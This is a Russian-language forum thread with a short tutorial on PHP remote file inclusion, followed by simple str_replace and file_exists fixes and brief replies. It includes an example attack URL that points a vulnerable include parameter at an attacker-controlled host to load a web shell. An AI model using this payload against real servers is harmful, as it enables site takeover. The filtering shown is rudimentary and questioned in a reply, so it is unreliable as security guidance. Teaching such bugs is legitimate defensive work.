PHP - Инъекция

avatarmov

Новичок
Репутация
15 / 457
Хакер - не преступник. Смысл в свободе...

Сразу хочу сказать, что если вы не новичок, то можете не читать далее. Else, то читаем.
Php инъекция являются, наверно, самым распространенным, после sql-inj, багом.
И так , сама суть:
Есть код:

<?
..
Include ("$patch/folder/page.php");

?>

Кажется, что тоже все безнадежно, как и во втором случае… Но если вдуматься, что нам мешает создать на удаленном сервере папку folder с page.php в ней?
Ничего не мешает. Создаем, и уже пишем index.php?patch=http://hacker.nm.ru/
И о чудо, мы снова видим там свой шелл :

Теперь, как избежать этого.
Случай первый:
<?
..
if (file_exists("$page.php")) //Проверим файл на сущесвтование. Если он есть, то мы вставим его
{
Include ("$page.php");
}
Else //Есле…
{
Echo "Error!";
}

?>

Случай второй:

[/QUOTE]
<?
..
$page=str_replace("/","",$page); // Это отфильтрует возможность перехода в другие дириктории.
if (file_exists("files/$page.htm "))
{
Include ("files/$page.htm");
}
Else
{
Echo "error";
}

?>

Ну и третий случай(довольно редко встречается, но все же, недавно был обнаружен на одном из форумных движков…):

[/QUOTE]
<?

$patch=str_replace("/","",$patch); // Отфильтруем нехорошие символы
$patch=str_replace(":","",$patch);
$patch=str_replace(".","",$patch);

if (file_exists("$patch/folder/page.php ")) //Проверим файл на существование. Если он есть, то мы вставим его
{
Include ("$patch/folder/page.php");
}
Else
{
Echo "Error!";
}

?>

Ну, вот в принципе и все, теперь, если вы не умели, то научились распознавать include баги, а также защищаться от них.


Следующий урок:

Недоступно!
 
Обновил, дописал от себя. Здесь полностью всё о PHP - инъекции и защиты от неё...
 
$patch=str_replace("/","",$patch); // Отфильтруем нехорошие символы
$patch=str_replace(":","",$patch);
$patch=str_replace(".","",$patch);

basename отменили?

И кстати чем тебя двоеточие не устроило? :)
 
basename отменили?

И кстати чем тебя двоеточие не устроило? blink.gif

Статья изначально написана не мной. Игры не сливаю и не буду сливать. Так что... Тут уж тебе видней.
 
Раз статья не твоя то следует указывать автора, ну или хотя бы источник
 
Сверху